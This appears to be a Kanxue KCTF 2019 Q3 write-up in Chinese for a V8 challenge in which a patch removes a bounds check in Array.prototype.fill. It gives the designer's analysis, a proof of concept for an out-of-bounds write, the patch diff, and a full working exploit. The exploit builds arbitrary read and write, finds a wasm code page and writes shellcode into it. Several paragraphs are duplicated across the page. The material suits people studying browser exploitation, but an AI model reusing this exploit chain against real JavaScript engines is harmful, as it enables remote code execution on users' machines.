看雪.紐盾 KCTF 2019 Q3 | 第十二題點評及解題思路
Editor發表於2019-10-08
是重情重義的翩翩君子,也是文武雙全的驍勇將軍。
他的存在,是江山百姓之幸。
戰場上他以一敵百,謀略出眾。
朝堂上他脣槍舌劍,眾臣信服。
但生性多疑的天子,總是搖擺不定。
背後的刺青,纏繞了他一生,在他浴血沙場的某一刻,百萬將士必能看到將軍身後的金色光芒不斷上升、騰飛。
那戰馬之上的人,為了這山河,所向披靡。
然後,繼續搜尋這個函式的cross-reference,會發現在builtins-array.cc的TryFastArrayFill中使用了他,並且這個函式會被BUILTIN(ArrayPrototypeFill)所呼叫。然後很明顯這個函式就對應JavaScript中的Array.prototype.fill。
總結一下,就是patch的函式是Array.prototype.fill的底層實現之一,只要我們能夠讓傳進去的end > capacity,就可以OOB寫。end來自於end_index,而這個來自於args.atOrUndefined(isolate, 3),即JavaScript的引數。閱讀一下這個函式,發現end_index是從GetRelativeIndex轉換而來,而這個函式永遠會保證返回的值小於等於array.length,這個length其實一定小於等於後面的capacity。咋一看好像觸發不了,但是其實是有一個小問題的,就是Object::ToInteger可以呼叫JavaScript程式碼,然後在這個時候可以去收縮array的長度,這樣就可以在FillImpl裡面使得capacity < end了。具體PoC:
還有一點要注意,因為就算你收縮了arr的長度,實際上這後面能寫到的地方也是未被使用的記憶體,所以我們需要呼叫一下GC,這樣就可以讓OOB寫到有用的資料了。
觀賞給出的 diff:
可以注意到引入的 bug 是把 Array.prototype.fill 處理 FastDoubleArray 之類的東西的時候的範圍檢查給刪了。應該是個挺兒童的題目。
直接傳一個很大的值並不 work,是因為前面的程式碼裡處理負數 start 和 end 的時候順便修了 start 和 end 的範圍。
如果你找不到前面的程式碼在哪,推薦使用 ccls (shameless plug /s
因為獲取 end 啊之類的時候可以觸發 callback,可以在 callback 裡觸發 shrink,這樣的話在上面的邊界檢查被刪除的情況下就可以觸發一個 OOB 寫了。
接下來的做法就是到處搜一搜,拼湊一些利用技巧,組裝成 exploit 即可。路徑大概是:1. 因為這是 CTF 不需要穩定且是在 d8 裡面堆特別穩定所以先胡亂風水一把兩個值都是 double 的 array 排到一起。2. 觸發 bug 改大第二個 array 的長度。3. 分配一大堆用來 leak 的 array,裡面放上要 leak 的物件,和幾個標記用的整數,這是因為 Smi 和 Object 可以混放在同一個 FastArray 裡。4. 搜尋這些整數,找到要 leak 的物件的地址。5. 分配一大堆 ArrayBuffer,搜尋特徵找到一個把它的大小改掉,找一找看看誰被改了。6. 改變 ArrayBuffer 的指標就可以任意讀寫了。7. 修改 wasm 函式的程式碼(9102 年了還是 rwx 的),改成 shellcode。
他的存在,是江山百姓之幸。
戰場上他以一敵百,謀略出眾。
朝堂上他脣槍舌劍,眾臣信服。
但生性多疑的天子,總是搖擺不定。
背後的刺青,纏繞了他一生,在他浴血沙場的某一刻,百萬將士必能看到將軍身後的金色光芒不斷上升、騰飛。
那戰馬之上的人,為了這山河,所向披靡。
題目簡介
本題共有1114人圍觀,最終只有6支團隊攻破成功。比賽過程也十分精彩,從開賽當天到比賽結束前夕,均有戰隊攻破此題。戰士深夜破題,為了團隊的榮耀,在最後時刻依然不放棄,堅信自己會看到勝利的曙光。
攻破此題的戰隊排名一覽:
這道題攻破人數較少,接下來我們一起來看一下這道題的點評和詳細解析吧。
看雪評委crownless點評
簡單地說這是一個V8的利用題,引入的 bug 是把 Array.prototype.fill 處理 FastDoubleArray 之類的東西的時候的範圍檢查給刪了。應該是個挺簡單的題目。
出題團隊簡介
本題出題戰隊2019:
該團隊只有holing一個人,依然很厲害。下面是相關簡介:
盤古實驗室安全研究員,目前研究方向為瀏覽器漏洞。
設計思路
Object Fill(Handle<JSObject> receiver, Handle<Object> obj_value, uint32_t start, uint32_t end) override { return Subclass::FillImpl(receiver, obj_value, start, end); }
然後,繼續搜尋這個函式的cross-reference,會發現在builtins-array.cc的TryFastArrayFill中使用了他,並且這個函式會被BUILTIN(ArrayPrototypeFill)所呼叫。然後很明顯這個函式就對應JavaScript中的Array.prototype.fill。
BUILTIN(ArrayPrototypeFill) { HandleScope scope(isolate); if (isolate->debug_execution_mode() == DebugInfo::kSideEffects) { if (!isolate->debug()->PerformSideEffectCheckForObject(args.receiver())) { return ReadOnlyRoots(isolate).exception(); } } // 1. Let O be ? ToObject(this value). Handle<JSReceiver> receiver; ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, receiver, Object::ToObject(isolate, args.receiver())); // 2. Let len be ? ToLength(? Get(O, "length")). double length; MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, length, GetLengthProperty(isolate, receiver)); // 3. Let relativeStart be ? ToInteger(start). // 4. If relativeStart < 0, let k be max((len + relativeStart), 0); // else let k be min(relativeStart, len). Handle<Object> start = args.atOrUndefined(isolate, 2); double start_index; MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, start_index, GetRelativeIndex(isolate, length, start, 0)); // 5. If end is undefined, let relativeEnd be len; // else let relativeEnd be ? ToInteger(end). // 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0); // else let final be min(relativeEnd, len). Handle<Object> end = args.atOrUndefined(isolate, 3); double end_index; MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, end_index, GetRelativeIndex(isolate, length, end, length)); if (start_index >= end_index) return *receiver; // Ensure indexes are within array bounds DCHECK_LE(0, start_index); DCHECK_LE(start_index, end_index); DCHECK_LE(end_index, length); Handle<Object> value = args.atOrUndefined(isolate, 1); if (TryFastArrayFill(isolate, &args, receiver, value, start_index, end_index)) { return *receiver; } return GenericArrayFill(isolate, receiver, value, start_index, end_index); } V8_WARN_UNUSED_RESULT bool TryFastArrayFill( Isolate* isolate, BuiltinArguments* args, Handle<JSReceiver> receiver, Handle<Object> value, double start_index, double end_index) { // If indices are too large, use generic path since they are stored as // properties, not in the element backing store. if (end_index > kMaxUInt32) return false; if (!receiver->IsJSObject()) return false; if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, args, 1, 1)) { return false; } Handle<JSArray> array = Handle<JSArray>::cast(receiver); // If no argument was provided, we fill the array with 'undefined'. // EnsureJSArrayWith... does not handle that case so we do it here. // TODO(szuend): Pass target elements kind to EnsureJSArrayWith... when // it gets refactored. if (args->length() == 1 && array->GetElementsKind() != PACKED_ELEMENTS) { // Use a short-lived HandleScope to avoid creating several copies of the // elements handle which would cause issues when left-trimming later-on. HandleScope scope(isolate); JSObject::TransitionElementsKind(array, PACKED_ELEMENTS); } DCHECK_LE(start_index, kMaxUInt32); DCHECK_LE(end_index, kMaxUInt32); uint32_t start, end; CHECK(DoubleToUint32IfEqualToSelf(start_index, &start)); CHECK(DoubleToUint32IfEqualToSelf(end_index, &end)); ElementsAccessor* accessor = array->GetElementsAccessor(); accessor->Fill(array, value, start, end); return true; }
總結一下,就是patch的函式是Array.prototype.fill的底層實現之一,只要我們能夠讓傳進去的end > capacity,就可以OOB寫。end來自於end_index,而這個來自於args.atOrUndefined(isolate, 3),即JavaScript的引數。閱讀一下這個函式,發現end_index是從GetRelativeIndex轉換而來,而這個函式永遠會保證返回的值小於等於array.length,這個length其實一定小於等於後面的capacity。咋一看好像觸發不了,但是其實是有一個小問題的,就是Object::ToInteger可以呼叫JavaScript程式碼,然後在這個時候可以去收縮array的長度,這樣就可以在FillImpl裡面使得capacity < end了。具體PoC:
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } } var arr = [1.1]; for (let i = 0; i < 0x100; i++) { arr.push(i); } arr.fill(1.1, 0, { valueOf : function () { arr.length = 1; gc(); return 0x100; } });
還有一點要注意,因為就算你收縮了arr的長度,實際上這後面能寫到的地方也是未被使用的記憶體,所以我們需要呼叫一下GC,這樣就可以讓OOB寫到有用的資料了。
解題思路
觀賞給出的 diff:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc index 13a35b0cd3..3211a43525 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -1691,7 +1691,7 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) { } Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { - Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); + Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);/* global_template->Set( String::NewFromUtf8(isolate, "print", NewStringType::kNormal) .ToLocalChecked(), @@ -1879,7 +1879,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { String::NewFromUtf8(isolate, "async_hooks", NewStringType::kNormal) .ToLocalChecked(), async_hooks_templ); - } + }*/ return global_template; } diff --git a/src/objects/elements.cc b/src/objects/elements.cc index 6e5648d2f4..5e259925dc 100644 --- a/src/objects/elements.cc +++ b/src/objects/elements.cc @@ -2148,12 +2148,6 @@ class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits> { } // Make sure we have enough space. - uint32_t capacity = - Subclass::GetCapacityImpl(*receiver, receiver->elements()); - if (end > capacity) { - Subclass::GrowCapacityAndConvertImpl(receiver, end); - CHECK_EQ(Subclass::kind(), receiver->GetElementsKind()); - } DCHECK_LE(end, Subclass::GetCapacityImpl(*receiver, receiver->elements())); for (uint32_t index = start; index < end; ++index) {
可以注意到引入的 bug 是把 Array.prototype.fill 處理 FastDoubleArray 之類的東西的時候的範圍檢查給刪了。應該是個挺兒童的題目。
直接傳一個很大的值並不 work,是因為前面的程式碼裡處理負數 start 和 end 的時候順便修了 start 和 end 的範圍。
如果你找不到前面的程式碼在哪,推薦使用 ccls (shameless plug /s
因為獲取 end 啊之類的時候可以觸發 callback,可以在 callback 裡觸發 shrink,這樣的話在上面的邊界檢查被刪除的情況下就可以觸發一個 OOB 寫了。
接下來的做法就是到處搜一搜,拼湊一些利用技巧,組裝成 exploit 即可。路徑大概是:1. 因為這是 CTF 不需要穩定且是在 d8 裡面堆特別穩定所以先胡亂風水一把兩個值都是 double 的 array 排到一起。2. 觸發 bug 改大第二個 array 的長度。3. 分配一大堆用來 leak 的 array,裡面放上要 leak 的物件,和幾個標記用的整數,這是因為 Smi 和 Object 可以混放在同一個 FastArray 裡。4. 搜尋這些整數,找到要 leak 的物件的地址。5. 分配一大堆 ArrayBuffer,搜尋特徵找到一個把它的大小改掉,找一找看看誰被改了。6. 改變 ArrayBuffer 的指標就可以任意讀寫了。7. 修改 wasm 函式的程式碼(9102 年了還是 rwx 的),改成 shellcode。
var CONVERSION = new ArrayBuffer(8); var CONVERSION_U32 = new Uint32Array(CONVERSION); var CONVERSION_F64 = new Float64Array(CONVERSION); function ljust(x, n, c){ while (x.length < n) x = c+x; return x; } function rjust(x, n, c){ x += c.repeat(n); return x; } function tohex64(x){ return "0x"+ljust(x[1].toString(16),8,'0')+ljust(x[0].toString(16),8,'0'); } function u32_to_f64(u){ CONVERSION_U32[0] = u[0]; CONVERSION_U32[1] = u[1]; return CONVERSION_F64[0]; } function f64_to_u32(f, b=0){ CONVERSION_F64[0] = f; if (b) return CONVERSION_U32; return new Uint32Array(CONVERSION_U32); } function gc(){ for (let i=0;i<0x10;i++) new ArrayBuffer(0x800000); } wasm_bytes = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 1, 127, 0, 96, 0, 0, 2, 25, 1, 7, 105, 109, 112, 111, 114, 116, 115, 13, 105, 109, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 0, 3, 2, 1, 1, 7, 17, 1, 13, 101, 120, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 1, 10, 8, 1, 6, 0, 65, 42, 16, 0, 11]); wasm_inst = new WebAssembly.Instance(new WebAssembly.Module(wasm_bytes), {imports: {imported_func: function(x){ return x; }}}); wasm_func = wasm_inst.exports.exported_func; const FORGED_LENGTH = 0x10000; const nya = u32_to_f64([0, FORGED_LENGTH]); let arr0 = []; let victimz = []; for (let i = 0; i < 128; i++) { arr0.push(1.234); } arr0.fill(nya, 37, {valueOf() { arr0.length = 16; // gc(); for (let i = 0; i < 4096; i++) { let victim = Array(16); victim.fill(7.777); victimz.push(victim); } return 38; }}); let bingo; for (let i = 0; i < victimz.length; i++) { if (victimz[i].length == FORGED_LENGTH) { bingo = victimz[i]; } } victimz = undefined; const tag = 0xbabe; const tagf64 = u32_to_f64([0, tag]); let ta = []; for (let i = 0; i < 8192; i++) { ta.push(new Uint32Array(0x1000)); ta[ta.length - 1].buffer; let obj_arr = new Array(0x80).fill(wasm_func); for (let i = 0; i < 4; i++) obj_arr[i] = tag; ta.push(obj_arr); } gc(); let badboy = -1; for (let i = 1; i < bingo.length; i++) { let cur = f64_to_u32(bingo[i], 1)[0]; let last = f64_to_u32(bingo[i - 1], 1)[0]; // console.log(tohex64(f64_to_u32(bingo[i], 1))); if (badboy == -1 && cur == 0x1000 && last == 0x4000) { console.log("found", i); bingo[i] = u32_to_f64([0x20000000, 0]); bingo[i-1] = u32_to_f64([0x80000000, 0]); badboy = i; break; } } let wasm_func_addr; for (let i = 0; i < bingo.length; i++) { if (bingo[i] == tagf64 && bingo[i+1] == tagf64 && bingo[i+2] == tagf64 && bingo[i+3] == tagf64) { wasm_func_addr = bingo[i+4]; break; } } if (badboy == -1) { throw "failed"; } console.log('badboy', badboy); console.log('wasm_func_addr', tohex64(f64_to_u32(wasm_func_addr))); let rw; for (let i = 0; i < ta.length; i++) { if (ta[i].length != 0x1000 && ta[i].length != 128) { rw = ta[i]; break; } } // %DebugPrint(wasm_func); // %DebugPrint(rw); // %DebugPrint(rw.buffer); // console.log("rw", rw.length); // bingo[badboy + 1] = u32_to_f64([0x41414141, 0x4141]); // console.log(rw[0]); function r32(addr) { bingo[badboy + 1] = u32_to_f64(addr); return rw[0]; } function r64(addr) { bingo[badboy + 1] = u32_to_f64(addr); return [rw[0], rw[1]]; } ptr = f64_to_u32(wasm_func_addr); console.log(tohex64(ptr)); ptr[0]--; ptr[0] += 0x18; ptr = r64(ptr); console.log(tohex64(ptr)); ptr[0]--; ptr[0] += 0x8; ptr = r64(ptr); console.log(tohex64(ptr)); let co = [ptr[0], ptr[1]]; ptr[0]--; ptr[0] += 0x10; ptr = r64(ptr); console.log(tohex64(ptr)); // ptr[0]--; r64(ptr); // for (let i = 0; i < 0x100; i += 2) { // let zzz = [rw[i], rw[i+1]]; // console.log(4*i, tohex64(zzz)); // } ptr[0]--; ptr[0] += 0x80; ptr = r64(ptr); console.log(tohex64(ptr)); let codepage = [ptr[0], ptr[1]]; ptr = co; ptr[0]--; ptr[0] += 0x1c; ptr = r64(ptr); console.log(tohex64(ptr)); codepage[0] += ptr[0]; ptr = r64(codepage); // rw[0] = 0xcccccccc; rw[0] = 3091753066; rw[1] = 1852400175; rw[2] = 1932472111; rw[3] = 3884533840; rw[4] = 23687784; rw[5] = 607420673; rw[6] = 16843009; rw[7] = 1784084017; rw[8] = 21519880; rw[9] = 2303219430; rw[10] = 1792160230; rw[11] = 84891707; wasm_func();
相關文章
- 看雪.紐盾 KCTF 2019 Q3 | 第四題點評及解題思路2019-09-29
- 看雪.紐盾 KCTF 2019 Q3 | 第七題點評及解題思路2019-09-30
- 看雪.紐盾 KCTF 2019 Q3 | 第一題點評及解題思路2019-09-25
- 看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第八題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第九題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十一題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十三題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q2 | 第七題點評及解題思路2019-07-02
- 看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路2019-07-04
- 看雪.紐盾 KCTF 2019 Q2 | 第六題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第十題點評及解題思路2019-07-05
- 看雪.紐盾 KCTF 2019 Q2 | 第八題點評及解題思路2019-07-03
- 看雪.紐盾 KCTF 2019 Q2 | 第一題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第三題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第五題點評及解題思路2019-07-01
- 2020 KCTF秋季賽 | 第一題點評及解題思路2020-11-20
- 2020 KCTF秋季賽 | 第四題點評及解題思路2020-11-24
- 2019 KCTF 晉級賽Q1 | 第三題點評及解題思路2019-03-28
- 2019KCTF 晉級賽Q1 | 第九題點評及解題思路2019-04-04
- 2019KCTF 晉級賽Q1 | 第十題點評及解題思路2019-04-08
- 看雪·眾安 2021 KCTF 秋季賽 | 第十題設計思路及解析2021-12-16
- 看雪·眾安 2021 KCTF 秋季賽 | 第九題設計思路及解析2021-12-09
- 看雪·眾安 2021 KCTF 秋季賽 | 第七題設計思路及解析2021-12-03
- 看雪·眾安 2021 KCTF 秋季賽 | 第六題設計思路及解析2021-12-01
- 看雪·眾安 2021 KCTF 秋季賽 | 第五題設計思路及解析2021-11-29
- 看雪·眾安 2021 KCTF 秋季賽 | 第四題設計思路及解析2021-11-25
- 看雪·眾安 2021 KCTF 秋季賽 | 第三題設計思路及解析2021-11-22
- 看雪·深信服 2021 KCTF 春季賽 | 第十題設計思路及解析2021-05-31
- 看雪·深信服 2021 KCTF 春季賽 | 第七題設計思路及解析2021-05-25
- 看雪·深信服 2021 KCTF 春季賽 | 第八題設計思路及解析2021-05-25
- 看雪·深信服 2021 KCTF 春季賽 | 第九題設計思路及解析2021-05-28
- 看雪·深信服 2021 KCTF 春季賽 | 第六題設計思路及解析2021-05-21
- 看雪·深信服 2021 KCTF 春季賽 | 第三題設計思路及解析2021-05-14
- 看雪·深信服 2021 KCTF 春季賽 | 第四題設計思路及解析2021-05-17
- 看雪·深信服 2021 KCTF 春季賽 | 第五題設計思路及解析2021-05-17